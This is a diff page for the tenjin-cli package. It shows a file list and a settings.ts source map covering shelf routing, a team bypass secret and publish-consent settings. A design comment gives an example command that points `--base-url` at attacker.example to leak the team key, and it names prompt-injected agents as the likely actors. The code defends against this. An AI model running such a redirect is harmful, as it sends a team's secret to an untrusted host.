tenjin-cli 0.1.0-alpha.27 → 0.1.0-alpha.29
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +18 -26
- package/dist/alive-3J3CHOQP.js +21 -0
- package/dist/{chunk-XVYATBKD.js → chunk-25GGN553.js} +897 -522
- package/dist/chunk-25GGN553.js.map +1 -0
- package/dist/{chunk-B2L53TMK.js → chunk-2SNUOHAT.js} +28 -23
- package/dist/chunk-2SNUOHAT.js.map +1 -0
- package/dist/{chunk-5NEHH2E5.js → chunk-3FY5HG7R.js} +86 -19
- package/dist/chunk-3FY5HG7R.js.map +1 -0
- package/dist/{chunk-YQOQ6XEI.js → chunk-4FYMDRD3.js} +51 -41
- package/dist/chunk-4FYMDRD3.js.map +1 -0
- package/dist/chunk-6W5GYG3W.js +128 -0
- package/dist/chunk-6W5GYG3W.js.map +1 -0
- package/dist/{chunk-G4AM2SOL.js → chunk-AMEUXNJT.js} +4 -8
- package/dist/{chunk-G4AM2SOL.js.map → chunk-AMEUXNJT.js.map} +1 -1
- package/dist/chunk-EWLU46J6.js +100 -0
- package/dist/chunk-EWLU46J6.js.map +1 -0
- package/dist/chunk-LRCJ2IZ5.js +115 -0
- package/dist/{chunk-HC3QEZKT.js.map → chunk-LRCJ2IZ5.js.map} +1 -1
- package/dist/{chunk-X7I343ZY.js → chunk-LX5OT4TQ.js} +3 -3
- package/dist/{chunk-X7I343ZY.js.map → chunk-LX5OT4TQ.js.map} +1 -1
- package/dist/{chunk-DATCR7AU.js → chunk-MG3G644T.js} +5 -7
- package/dist/{chunk-DATCR7AU.js.map → chunk-MG3G644T.js.map} +1 -1
- package/dist/{chunk-BOAI23CX.js → chunk-MOG7PB3A.js} +21 -15
- package/dist/chunk-MOG7PB3A.js.map +1 -0
- package/dist/{chunk-GU4GGKYP.js → chunk-MRUPDSUM.js} +14 -59
- package/dist/chunk-MRUPDSUM.js.map +1 -0
- package/dist/{chunk-AWKQSKUL.js → chunk-OOSRB3OF.js} +2 -2
- package/dist/{chunk-PZ5N6BAL.js → chunk-ORWL5BSN.js} +5 -4
- package/dist/chunk-ORWL5BSN.js.map +1 -0
- package/dist/chunk-P4LVLFO4.js +29 -0
- package/dist/chunk-P4LVLFO4.js.map +1 -0
- package/dist/{chunk-VXIBZ6W5.js → chunk-QTGUDCIR.js} +5 -5
- package/dist/{chunk-YKM2ZTA2.js → chunk-R4AO7GC2.js} +462 -105
- package/dist/chunk-R4AO7GC2.js.map +1 -0
- package/dist/{chunk-OHZYNZSD.js → chunk-RJEPZMYY.js} +12 -8
- package/dist/chunk-RJEPZMYY.js.map +1 -0
- package/dist/chunk-SBL4THYT.js +2074 -0
- package/dist/chunk-SBL4THYT.js.map +1 -0
- package/dist/{chunk-VNNXAYJE.js → chunk-SFEQGENI.js} +2 -2
- package/dist/{chunk-K6AXXYCG.js → chunk-SJLTEINJ.js} +10 -2
- package/dist/{chunk-K6AXXYCG.js.map → chunk-SJLTEINJ.js.map} +1 -1
- package/dist/{chunk-5FGO6TYT.js → chunk-TROZ6HL4.js} +3 -5
- package/dist/{chunk-5FGO6TYT.js.map → chunk-TROZ6HL4.js.map} +1 -1
- package/dist/{chunk-SKQQOEWH.js → chunk-USOLCBKC.js} +6 -8
- package/dist/{chunk-SKQQOEWH.js.map → chunk-USOLCBKC.js.map} +1 -1
- package/dist/{chunk-64SE3QC5.js → chunk-VKQXVCZR.js} +54 -5
- package/dist/chunk-VKQXVCZR.js.map +1 -0
- package/dist/{chunk-VIOUZW7Z.js → chunk-VVAHFCX2.js} +209 -37
- package/dist/chunk-VVAHFCX2.js.map +1 -0
- package/dist/{chunk-4L7KMA7P.js → chunk-WM7TJEBP.js} +8 -10
- package/dist/{chunk-4L7KMA7P.js.map → chunk-WM7TJEBP.js.map} +1 -1
- package/dist/{chunk-2TYQD22Q.js → chunk-XDYKZRLN.js} +23 -16
- package/dist/chunk-XDYKZRLN.js.map +1 -0
- package/dist/{chunk-LAIZ2AQA.js → chunk-XJQ6CH7X.js} +3 -2
- package/dist/{chunk-O7CUHHYU.js → chunk-ZQNGTLOC.js} +8 -10
- package/dist/{chunk-O7CUHHYU.js.map → chunk-ZQNGTLOC.js.map} +1 -1
- package/dist/{cli-6JNIPZQ6.js → cli-JPTDHGRX.js} +58 -52
- package/dist/{cli-6JNIPZQ6.js.map → cli-JPTDHGRX.js.map} +1 -1
- package/dist/{config-G75YT6NC.js → config-YYKDH2TH.js} +12 -15
- package/dist/{doctor-3GMDOW4Y.js → doctor-SSTXGCHX.js} +298 -269
- package/dist/doctor-SSTXGCHX.js.map +1 -0
- package/dist/{fund-3IPR5YRJ.js → fund-QWVWRVDK.js} +95 -43
- package/dist/{fund-3IPR5YRJ.js.map → fund-QWVWRVDK.js.map} +1 -1
- package/dist/hook-command-VWJXRT7H.js +31 -0
- package/dist/hosts/claude/.claude-plugin/marketplace.json +19 -0
- package/dist/hosts/claude/tenjin/.claude-plugin/plugin.json +14 -0
- package/dist/hosts/claude/tenjin/.mcp.json +12 -0
- package/dist/hosts/claude/tenjin/hooks/hooks.json +221 -0
- package/dist/index.js +13 -4
- package/dist/index.js.map +1 -1
- package/dist/install-2GXXD4DK.js +51 -0
- package/dist/{install-identity-PM4AGFFX.js → install-identity-FK3YF227.js} +7 -9
- package/dist/{install-wallet-6756NOB5.js → install-wallet-TC22U52X.js} +21 -17
- package/dist/{install-wallet-6756NOB5.js.map → install-wallet-TC22U52X.js.map} +1 -1
- package/dist/{mcp-33FAAZ7F.js → mcp-42H2F4NY.js} +2128 -372
- package/dist/mcp-42H2F4NY.js.map +1 -0
- package/dist/package-6DJA3Y2O.js +37 -0
- package/dist/{paths-MUXHUOCM.js → paths-POPTXJO6.js} +6 -2
- package/dist/{pay-XOYR4PCH.js → pay-LSDJBIAZ.js} +20 -18
- package/dist/payments-SPECLBRQ.js +105 -0
- package/dist/payments-SPECLBRQ.js.map +1 -0
- package/dist/{send-CVGNOQW3.js → send-MHAOLPK3.js} +13 -17
- package/dist/{send-CVGNOQW3.js.map → send-MHAOLPK3.js.map} +1 -1
- package/dist/status-O2RWLPS5.js +114 -0
- package/dist/status-O2RWLPS5.js.map +1 -0
- package/dist/{status-line-3IQKGRUH.js → status-line-45TVCRM3.js} +7 -9
- package/dist/{status-line-3IQKGRUH.js.map → status-line-45TVCRM3.js.map} +1 -1
- package/dist/uninstall-VOK2Z5M4.js +146 -0
- package/dist/uninstall-VOK2Z5M4.js.map +1 -0
- package/dist/update-FGP3HNLD.js +33 -0
- package/dist/update-FGP3HNLD.js.map +1 -0
- package/dist/{wallet-B3FVHNTS.js → wallet-DA7OFNEW.js} +18 -14
- package/dist/wallet-DA7OFNEW.js.map +1 -0
- package/docs/agent-permissions.md +35 -22
- package/docs/safety-model.md +3 -1
- package/package.json +2 -2
- package/dist/chunk-2TYQD22Q.js.map +0 -1
- package/dist/chunk-5NEHH2E5.js.map +0 -1
- package/dist/chunk-64SE3QC5.js.map +0 -1
- package/dist/chunk-6ZSGER3A.js +0 -52
- package/dist/chunk-6ZSGER3A.js.map +0 -1
- package/dist/chunk-B2L53TMK.js.map +0 -1
- package/dist/chunk-BOAI23CX.js.map +0 -1
- package/dist/chunk-DSNXKUXI.js +0 -172
- package/dist/chunk-DSNXKUXI.js.map +0 -1
- package/dist/chunk-GU4GGKYP.js.map +0 -1
- package/dist/chunk-H2L33M7F.js +0 -944
- package/dist/chunk-H2L33M7F.js.map +0 -1
- package/dist/chunk-HC3QEZKT.js +0 -87
- package/dist/chunk-JLEF5WHM.js +0 -132
- package/dist/chunk-JLEF5WHM.js.map +0 -1
- package/dist/chunk-MAQUL5BD.js +0 -99
- package/dist/chunk-MAQUL5BD.js.map +0 -1
- package/dist/chunk-OHZYNZSD.js.map +0 -1
- package/dist/chunk-PY7MQUKP.js +0 -755
- package/dist/chunk-PY7MQUKP.js.map +0 -1
- package/dist/chunk-PZ5N6BAL.js.map +0 -1
- package/dist/chunk-TGLKKLQG.js +0 -11
- package/dist/chunk-TGLKKLQG.js.map +0 -1
- package/dist/chunk-VIOUZW7Z.js.map +0 -1
- package/dist/chunk-XVYATBKD.js.map +0 -1
- package/dist/chunk-YKM2ZTA2.js.map +0 -1
- package/dist/chunk-YQOQ6XEI.js.map +0 -1
- package/dist/doctor-3GMDOW4Y.js.map +0 -1
- package/dist/hook-command-ZXX4FT4N.js +0 -32
- package/dist/install-6OROTYHZ.js +0 -72
- package/dist/mcp-33FAAZ7F.js.map +0 -1
- package/dist/payments-UTQDBO7H.js +0 -48
- package/dist/payments-UTQDBO7H.js.map +0 -1
- package/dist/status-NACN4DGX.js +0 -72
- package/dist/status-NACN4DGX.js.map +0 -1
- package/dist/status-line-wiring-QXBOOY2T.js +0 -31
- package/dist/uninstall-NYFKSYW4.js +0 -175
- package/dist/uninstall-NYFKSYW4.js.map +0 -1
- package/dist/update-RJDA5ZY3.js +0 -442
- package/dist/update-RJDA5ZY3.js.map +0 -1
- /package/dist/{config-G75YT6NC.js.map → alive-3J3CHOQP.js.map} +0 -0
- /package/dist/{chunk-AWKQSKUL.js.map → chunk-OOSRB3OF.js.map} +0 -0
- /package/dist/{chunk-VXIBZ6W5.js.map → chunk-QTGUDCIR.js.map} +0 -0
- /package/dist/{chunk-VNNXAYJE.js.map → chunk-SFEQGENI.js.map} +0 -0
- /package/dist/{chunk-LAIZ2AQA.js.map → chunk-XJQ6CH7X.js.map} +0 -0
- /package/dist/{hook-command-ZXX4FT4N.js.map → config-YYKDH2TH.js.map} +0 -0
- /package/dist/{install-6OROTYHZ.js.map → hook-command-VWJXRT7H.js.map} +0 -0
- /package/dist/{install-identity-PM4AGFFX.js.map → install-2GXXD4DK.js.map} +0 -0
- /package/dist/{paths-MUXHUOCM.js.map → install-identity-FK3YF227.js.map} +0 -0
- /package/dist/{pay-XOYR4PCH.js.map → package-6DJA3Y2O.js.map} +0 -0
- /package/dist/{status-line-wiring-QXBOOY2T.js.map → paths-POPTXJO6.js.map} +0 -0
- /package/dist/{wallet-B3FVHNTS.js.map → pay-LSDJBIAZ.js.map} +0 -0
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"sources":["../src/lib/settings.ts"],"sourcesContent":["import { execFile } from 'node:child_process';\nimport { readFile, stat } from 'node:fs/promises';\nimport { homedir } from 'node:os';\nimport { basename, dirname, join, resolve, sep } from 'node:path';\nimport { z } from 'zod';\nimport { CliError } from './errors';\nimport {\n CONFIG_DEFAULTS,\n PublishModeSchema,\n SEND_MAX_UNSET,\n loadRawConfig,\n resolveAckServerWarnings,\n resolvePublishDefaultPrice,\n resolvePublishMode,\n resolveSettings,\n} from './config';\nimport type {\n AckServerWarnings,\n EffectiveSettings,\n PartialConfig,\n Provenance,\n ProjectPublishLayer,\n PublishMode,\n} from './config';\nimport type { ShelfBypass } from './http';\nimport { parseUsdToAtomic } from './money';\nimport { PRODUCTION_ORIGIN, isSameDeployment } from './production-origin';\nimport type { SpendPolicy } from './policy';\nimport type { CommandContext } from '../context';\n\n/**\n * The effective runtime settings a B2 command needs, resolved once through the\n * same precedence (flag > env > file > default) config/doctor use. Spend values\n * arrive atomic from config and are handed on as bigint for the policy layer.\n */\nexport interface ResolvedSettings {\n baseUrl: string;\n /**\n * `baseUrl` AS THE CONFIG FILE NAMES IT, before `--base-url`/`TENJIN_BASE_URL`.\n * Anything that wallet-signs pins to this rather than to {@link baseUrl}: a\n * flag can point a run at another host, and an agent that names one must not\n * thereby move the pin. Same rule, same reason, as {@link resolveShelfBypass}.\n */\n configuredBaseUrl: string;\n /** The public marketplace: the second shelf a team-mode search falls through\n * to, and the one other origin `read`/`buy`/`inspect` will resolve against. */\n publicShelfUrl: string;\n /**\n * The team shelf's bypass secret paired with the CONFIGURED `baseUrl`'s\n * origin, or undefined in public mode and on a run whose base URL came from\n * `--base-url`/`TENJIN_BASE_URL` (see {@link resolveShelfBypass}). Handed to\n * the transport, which attaches the header from the REQUEST URL — so it cannot\n * reach `publicShelfUrl` however it is passed.\n */\n bypass?: ShelfBypass;\n /** True exactly when the door key was issued: the one switch between public\n * mode and team mode. */\n teamMode: boolean;\n rpcUrl: string;\n policy: SpendPolicy;\n /** Search-only privacy opt-in; sends X-Tenjin-Eval-Cohort: 1 when true. */\n evalCohort: boolean;\n /** x402 discovery registries `discover` queries and the pay lane verifies against. */\n bazaarRegistries: string[];\n /** `experimental.bazaar`: whether the router may also offer the open Bazaar's\n * unreviewed sellers. Tenjin's reviewed list is always requested; only\n * `router.enabled false` stops every offer. */\n experimentalBazaar: boolean;\n /**\n * Hard per-send cap for `tenjin wallet send`: SEND_MAX_UNSET = never configured\n * (send refuses until `config set sendMaxAmount`), null = explicit \"none\"\n * (uncapped opt-in), 0n = disabled, otherwise the atomic cap.\n */\n sendMaxAmountAtomic: bigint | null | typeof SEND_MAX_UNSET;\n}\n\n/** `URL.origin`, or undefined for anything unparseable. */\nfunction tryOrigin(url: string): string | undefined {\n try {\n return new URL(url).origin;\n } catch {\n return undefined;\n }\n}\n\n/**\n * The team shelf's door key, paired with the origin THE OPERATOR CONFIGURED —\n * never with the one this run happens to be pointed at.\n *\n * `shelfBypassSecret` is file-only, but `baseUrl` is not: `--base-url` and\n * `TENJIN_BASE_URL` outrank the file. Pairing the secret with the RESOLVED base\n * URL therefore let one command hand the team's key to any host that was named\n * on the command line — `tenjin search --base-url https://attacker.example \"…\"`\n * sends it in the first request, and the transport's origin test agrees, because\n * the pair it compares against was built from the attacker's URL. That is not a\n * hypothetical shape: `resource-ref`'s own refusal text already names a\n * task-supplied `--base-url` as the attack a prompt-injected agent runs.\n *\n * So the compare happens here, once, before the pair exists: the key is issued\n * only when the run is still pointed at the configured shelf. A run pointed\n * anywhere else gets NO pair at all, which also drops team mode — an overridden\n * base URL runs as an ordinary public-mode run, with the client scan and the\n * confirm cascade back on, rather than as a team-mode run against a stranger.\n *\n * The generated hooks need no equivalent for the flag rule: they read `baseUrl`\n * straight out of config.json and have no flag or env layer to be re-pointed\n * through. They DO carry the second rule below (`teamShelfOrigin`).\n *\n * SECOND RULE: THE TEAM SHELF MUST BE A SHELF OF ITS OWN. Team mode was keyed on\n * a non-empty secret alone, and both `baseUrl` and `publicShelfUrl` default to\n * tenjin.sh, so the two-command day-0 setup run in the other order — or the\n * secret line alone on a second machine — put a machine in \"team mode\" pointed\n * at the PUBLIC MARKETPLACE. Team mode is precisely the mode that skips the\n * publish scan, skips the confirm cascade and prices at 0, so under\n * `publish.mode full-auto` that misconfiguration auto-publishes internal\n * codebase notes to tenjin.sh, unscanned and unacknowledged; it also posts the\n * team's key to the public marketplace and searches one origin twice per fire.\n * A secret with no private shelf behind it is a setup that is not finished, so\n * it fails safe to public mode rather than half-on. `tenjin doctor` and\n * `config set shelfBypassSecret` say so out loud, because silence here is what\n * made the misconfiguration survivable.\n */\nexport function resolveShelfBypass(\n config: PartialConfig,\n s: EffectiveSettings,\n): ShelfBypass | undefined {\n const secret = s.shelfBypassSecret.value;\n if (secret.length === 0) return undefined;\n const configured = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n const effective = tryOrigin(s.baseUrl.value);\n if (configured === undefined || effective === undefined || configured !== effective) {\n return undefined;\n }\n if (!isTeamShelfOrigin(configured, s.publicShelfUrl.value)) return undefined;\n return { origin: configured, secret };\n}\n\n/**\n * Is `origin` a shelf of the team's own, as opposed to the public marketplace?\n *\n * The compare `resource-ref` already makes to no-op its second-origin allowance,\n * plus the production origin itself: a `publicShelfUrl` pointed somewhere else\n * must not make tenjin.sh read as private. `isSameDeployment` rather than `===`\n * so an alias of production (tenjin.blog) is not a loophole.\n */\nexport function isTeamShelfOrigin(origin: string, publicShelfUrl: string): boolean {\n if (isSameDeployment(origin, PRODUCTION_ORIGIN)) return false;\n const publicOrigin = tryOrigin(publicShelfUrl);\n return publicOrigin === undefined || !isSameDeployment(origin, publicOrigin);\n}\n\n/**\n * Is this MACHINE in team mode — a shelf of the team's own plus the door key that\n * opens it? The same two-part rule `resolveContextSettings` applies\n * (`ResolvedSettings.teamMode`), read off the raw config instead of resolved\n * settings, and the difference is deliberate: a `--base-url` or `TENJIN_BASE_URL`\n * on one invocation must not answer this question.\n *\n * The installed skill text (lib/skill-materialize) needs the raw-config form: it\n * outlives the command that wrote it and is read by every later session on this\n * machine, so shaping it by a one-off flag would leave a team machine reading\n * public guidance until the next install.\n *\n * A secret with `baseUrl` still on the marketplace is NOT team mode, per\n * {@link isTeamShelfOrigin}: that half-set state runs as ordinary public mode\n * rather than treating tenjin.sh as a private shelf.\n */\nexport function isTeamModeConfig(config: PartialConfig): boolean {\n const secret = config.shelfBypassSecret ?? CONFIG_DEFAULTS.shelfBypassSecret;\n if (typeof secret !== 'string' || secret === '') return false;\n const origin = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n if (origin === undefined) return false;\n return isTeamShelfOrigin(origin, config.publicShelfUrl ?? CONFIG_DEFAULTS.publicShelfUrl);\n}\n\n/** Where a close for one stored search has to go, and whether it carries the key. */\nexport interface ShelfRoute {\n baseUrl: string;\n bypass?: ShelfBypass;\n /**\n * False when the ENTRY named a shelf other than the configured `baseUrl` —\n * including an unrecognised origin, which `baseUrl` above nonetheless routes\n * back to the configured shelf.\n */\n configured: boolean;\n}\n\n/**\n * THE SHELF THAT ANSWERED, for anything closing a loop.\n *\n * A team-mode search asks the team shelf and falls through to the public\n * marketplace, and the two have separate databases: the searchId the public leg\n * minted exists only there. Posting its outcome to the team shelf tells the team\n * shelf about a search it never ran (where it retries a parent-not-visible window\n * and then raises `outcomes_dropped_no_parent`, an alarm meant to mean a broken\n * fleet) and tells the marketplace — whose demand signal is the entire reason the\n * verb exists — nothing at all.\n *\n * `shelfBaseUrl` is absent on an entry written before it existed and on every\n * single-shelf public-mode run, and absent means the configured base, which is\n * what those entries meant.\n *\n * ONLY THE TWO CONFIGURED SHELVES ARE ROUTABLE. `shelfBaseUrl` is a plain\n * optional string in the store schema with no URL validation, and the only\n * writers are this CLI's own two configured values — so any OTHER origin in that\n * field is a corrupt or planted entry, not a third shelf, and one hand-edited\n * search row would otherwise make `tenjin outcome --search-id` POST to\n * a host the operator never configured. An unrecognised origin therefore routes\n * to the configured base exactly as a missing or unparseable one does: fail open\n * to the configured shelf, never out to a foreign one. This is the same\n * re-assertion `resolveResourceRef` already makes against this store's\n * `candidate.url` before any send. `configured` still reports false for such an\n * entry, so `publish` keeps dropping its searchId rather than misfiling it.\n *\n * THE KEY RIDES THE ORIGIN, not the call site: `bypass` comes back only when the\n * route is the origin the secret was paired with. The transport re-derives the\n * same rule from the request URL ({@link shelfBypassHeaders}), so this is the\n * second of two locks rather than the only one — but a call site that reads\n * `route.bypass` should never be the place a key first goes off-origin.\n */\nexport function shelfRouteFor(\n stored: { shelfBaseUrl?: string } | null | undefined,\n settings: Pick<ResolvedSettings, 'baseUrl' | 'publicShelfUrl' | 'bypass'>,\n): ShelfRoute {\n const recorded = stored?.shelfBaseUrl;\n const configuredOrigin = tryOrigin(settings.baseUrl);\n const recordedOrigin = recorded === undefined ? undefined : tryOrigin(recorded);\n // An unparseable record is not a second shelf, it is a corrupt field: fall back\n // to the configured base rather than posting a close nowhere.\n if (recorded === undefined || recordedOrigin === undefined) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: true,\n };\n }\n const configured =\n configuredOrigin !== undefined && isSameDeployment(recordedOrigin, configuredOrigin);\n // The allow-list: the configured base, or the public shelf it falls through to.\n // Nothing else is a shelf this machine ever searched.\n const publicOrigin = tryOrigin(settings.publicShelfUrl);\n const routable =\n configured || (publicOrigin !== undefined && isSameDeployment(recordedOrigin, publicOrigin));\n if (!routable) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: false,\n };\n }\n const carries = settings.bypass !== undefined && settings.bypass.origin === recordedOrigin;\n return {\n baseUrl: recorded,\n ...(carries ? { bypass: settings.bypass } : {}),\n configured,\n };\n}\n\nexport async function resolveContextSettings(ctx: CommandContext): Promise<ResolvedSettings> {\n const config = await loadRawConfig(ctx.dataDir);\n const s = resolveSettings({ config, flags: { baseUrl: ctx.flags.baseUrl }, env: process.env });\n // Paired with the origin here, once, so no command has to remember to.\n const bypass = resolveShelfBypass(config, s);\n return {\n baseUrl: s.baseUrl.value,\n configuredBaseUrl: config.baseUrl ?? CONFIG_DEFAULTS.baseUrl,\n publicShelfUrl: s.publicShelfUrl.value,\n ...(bypass !== undefined ? { bypass } : {}),\n teamMode: bypass !== undefined,\n rpcUrl: s.rpcUrl.value,\n evalCohort: s.evalCohort.value,\n bazaarRegistries: s.bazaarRegistries.value,\n experimentalBazaar: s.experimentalBazaar.value === 'on',\n sendMaxAmountAtomic:\n s.sendMaxAmount.value === SEND_MAX_UNSET\n ? SEND_MAX_UNSET\n : s.sendMaxAmount.value === 'none'\n ? null\n : BigInt(s.sendMaxAmount.value),\n policy: {\n maxAutoSpendAtomic: BigInt(s.maxAutoSpend.value),\n sessionBudgetAtomic: s.sessionBudget.value === 'none' ? null : BigInt(s.sessionBudget.value),\n allowlistCreators: s.allowlistCreators.value,\n },\n };\n}\n\n// ---------------------------------------------------------------------------\n// Publish consent settings (B3, D38)\n//\n// The publish mode/price cascade extends the same precedence machinery\n// (resolvePublishMode / resolvePublishDefaultPrice in lib/config) with a\n// per-project layer that needs I/O the pure resolvers can't do: it walks up from\n// cwd for a `.tenjin.json` and asks git whether that file is committed (the\n// loosening gate on `full-auto`). It lives here beside resolveContextSettings so\n// there is one settings resolver, not a parallel one.\n// ---------------------------------------------------------------------------\n\nexport const PROJECT_CONFIG_FILE = '.tenjin.json';\n\n/**\n * The per-project override file. `publish.defaultPrice` is DECIMAL USD (\"0.10\"),\n * because a hand-edited project file is a human edge (O1) — unlike config.json,\n * which stores atomic because `config set` converts at the command edge. The\n * decimal string is converted to atomic at load via the same money util the\n * config command uses. Partial + passthrough: forward-compatible with subkeys a\n * newer CLI adds, same posture as the global config.\n */\nconst ProjectConfigSchema = z\n .object({\n publish: z\n .object({\n mode: PublishModeSchema.optional(),\n defaultPrice: z.string().optional(),\n })\n .passthrough()\n .optional(),\n })\n .passthrough();\n\nexport interface LoadedProjectConfig {\n /** Absolute path of the discovered `.tenjin.json`. */\n path: string;\n layer: ProjectPublishLayer;\n}\n\nexport interface PublishSettingsDeps extends ProjectWalkDeps {\n /** git check-ignore seam; defaults to shelling out to git (see wallet/passphrase). */\n isGitignored?: (filePath: string) => Promise<boolean>;\n}\n\nexport interface ResolvedPublishSettings {\n mode: PublishMode;\n modeSource: Provenance;\n defaultPriceAtomic: string;\n defaultPriceSource: Provenance;\n /** The standing answer to the server gate's warn tier; see lib/consent.ts. */\n ackServerWarnings: AckServerWarnings;\n /** Non-fatal notices for stderr (e.g. the full-auto downgrade). */\n warnings: string[];\n /** The `.tenjin.json` that contributed the project layer, if one was found. */\n projectConfigPath?: string;\n}\n\n/**\n * Resolve the effective publish mode + default price across every layer:\n * global config.json < project `.tenjin.json` < env (TENJIN_PUBLISH_MODE) <\n * flag (`--mode`), with the `full-auto` loosening gate applied to the project\n * layer. The seam a `publish` command (B3.2) resolves its consent through.\n */\nexport async function resolvePublishSettings(\n input: { dataDir: string; cwd: string; flag?: string; env?: NodeJS.ProcessEnv },\n deps: PublishSettingsDeps = {},\n): Promise<ResolvedPublishSettings> {\n const env = input.env ?? process.env;\n const config = await loadRawConfig(input.dataDir);\n const project = await loadProjectConfig(input.cwd, deps);\n const layer = project?.layer;\n\n const mode = resolvePublishMode({ config, project: layer, env, flag: input.flag });\n const price = resolvePublishDefaultPrice({ config, project: layer });\n const warnings = mode.downgradedWarning !== undefined ? [mode.downgradedWarning] : [];\n // Said out loud for the same reason the downgrade is: a consent setting the\n // operator believes is in force, and is not, is worse than one they know is\n // ignored. `writeModeNotices` puts every entry of this list on stderr.\n if (layer?.ignoredAckServerWarnings === true) {\n warnings.push(\n `Ignoring publish.ackServerWarnings in ${project?.path ?? PROJECT_CONFIG_FILE}: it is read from the global config only, since it can only widen what a yes covers. Set it with \\`tenjin config set publish.ackServerWarnings <mode|on|off>\\`.`,\n );\n }\n\n return {\n mode: mode.value,\n modeSource: mode.source,\n defaultPriceAtomic: price.value,\n defaultPriceSource: price.source,\n // Global config only, on purpose: the project layer never contributes here,\n // so `project` is deliberately not passed. ONE reader, the same one\n // `resolveSettings` uses, because two global-only readings that drifted\n // would drift about consent.\n ackServerWarnings: resolveAckServerWarnings(config).value,\n warnings,\n ...(project !== null ? { projectConfigPath: project.path } : {}),\n };\n}\n\n/**\n * Find the nearest `.tenjin.json` walking up from cwd toward the repo root (the\n * first directory holding a `.git`, inclusive), never crossing above $HOME, then\n * load, validate, and check whether it is gitignored. A file not owned by the\n * current user is ignored with a stderr warning (a planted config on a shared\n * host must not become the honored project layer). Null when none is found; a\n * present-but-unreadable/malformed file is CONFIG_INVALID (never silently\n * skipped).\n */\nexport async function loadProjectConfig(\n cwd: string,\n deps: PublishSettingsDeps = {},\n): Promise<LoadedProjectConfig | null> {\n const path = await findProjectConfigFile(cwd, deps);\n if (path === null) return null;\n\n let json: unknown;\n try {\n // readFile is inside the try: a raced delete (ENOENT), a directory named\n // .tenjin.json (EISDIR), or a permission error (EACCES) is a bad project file,\n // not an INTERNAL fault.\n json = JSON.parse(await readFile(path, 'utf8'));\n } catch (err) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} could not be read`, {\n fix: `Fix or delete ${path} (must be a readable JSON file).`,\n cause: err,\n });\n }\n const parsed = ProjectConfigSchema.safeParse(json);\n if (!parsed.success) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} is invalid`, {\n fix: `Correct the reported keys in ${path}, or delete it.`,\n details: parsed.error.issues,\n });\n }\n\n const isGitignored = deps.isGitignored ?? defaultIsGitignored;\n const gitignored = await isGitignored(path);\n const layer: ProjectPublishLayer = { gitignored };\n if (parsed.data.publish !== undefined) {\n const { mode, defaultPrice } = parsed.data.publish;\n layer.publish = {\n ...(mode !== undefined ? { mode } : {}),\n ...(defaultPrice !== undefined\n ? { defaultPrice: parseProjectPrice(defaultPrice, path) }\n : {}),\n };\n // The block is passthrough, so this key parses here and is then never read:\n // `ackServerWarnings` is global-only because it can only loosen what a yes\n // covers. Failing closed is the point, but doing it SILENTLY leaves an\n // operator believing a consent setting is in force that is not, so it says\n // so on stderr the way a downgraded `full-auto` does.\n if ((parsed.data.publish as { ackServerWarnings?: unknown }).ackServerWarnings !== undefined) {\n layer.ignoredAckServerWarnings = true;\n }\n }\n return { path, layer };\n}\n\n/**\n * Convert a `.tenjin.json` decimal-USD price to atomic via the shared money\n * parser. parseUsdToAtomic throws USAGE on a bad amount; re-raise as\n * CONFIG_INVALID naming the file, so it reads like the file's other errors.\n */\nfunction parseProjectPrice(decimalUsd: string, path: string): string {\n try {\n return parseUsdToAtomic(decimalUsd);\n } catch (err) {\n throw new CliError(\n 'CONFIG_INVALID',\n `${PROJECT_CONFIG_FILE} at ${path} has an invalid publish.defaultPrice`,\n { fix: 'Use a non-negative decimal USD amount like \"0.10\".', cause: err },\n );\n }\n}\n\nasync function findProjectConfigFile(\n cwd: string,\n deps: PublishSettingsDeps,\n): Promise<string | null> {\n const hit = await findNearestProjectFiles(cwd, [PROJECT_CONFIG_FILE], deps);\n return hit?.found[0] ?? null;\n}\n\nexport interface ProjectWalkDeps {\n /** Ownership seam; defaults to stat().uid vs process uid. Gates a planted file. */\n isForeignOwned?: (filePath: string) => Promise<boolean>;\n /** One-line stderr warning sink; defaults to process.stderr. */\n warn?: (message: string) => void;\n /** Upper bound of the walk; defaults to the user's home directory. */\n homeDir?: string;\n}\n\nexport interface ProjectWalkHit {\n /** The directory the walk stopped in. */\n dir: string;\n /** Every candidate present there and owned by this user, in `names` order. */\n found: string[];\n}\n\n/**\n * THE ONE WALK UP FROM A WORKING DIRECTORY to a project file, shared by the\n * shelf's `.tenjin.json` and the router's `.tenjin/config.json` pair: the\n * nearest directory, walking up from `cwd`, that holds at least one of\n * `names` (paths relative to that directory). `homeIsProject: false` stops\n * before looking in $HOME itself, for a file whose home copy is the global one.\n */\nexport async function findNearestProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<ProjectWalkHit | null> {\n const homeDir = deps.homeDir ?? homedir();\n\n let dir = cwd;\n // Bounded by $HOME (a shared-host trust boundary) and the filesystem root\n // (dirname('/') === '/'), whichever comes first.\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return null;\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) return { dir, found };\n if (await pathExists(join(dir, '.git'))) return null; // repo root, no file\n if (dir === homeDir) return null; // never cross above $HOME\n const parent = dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n}\n\n/**\n * EVERY directory from `cwd` up to the git root (inclusive) that holds one of\n * `names`, nearest first, under the same bounds as\n * {@link findNearestProjectFiles}; `gitRoot` is null outside a repository.\n * For layers that each only tighten, where reading one more can never loosen.\n */\nexport async function findAllProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<{ levels: ProjectWalkHit[]; gitRoot: string | null }> {\n const homeDir = deps.homeDir ?? homedir();\n const levels: ProjectWalkHit[] = [];\n let dir = cwd;\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return { levels, gitRoot: null };\n const found = await ownedCandidates(dir, names, 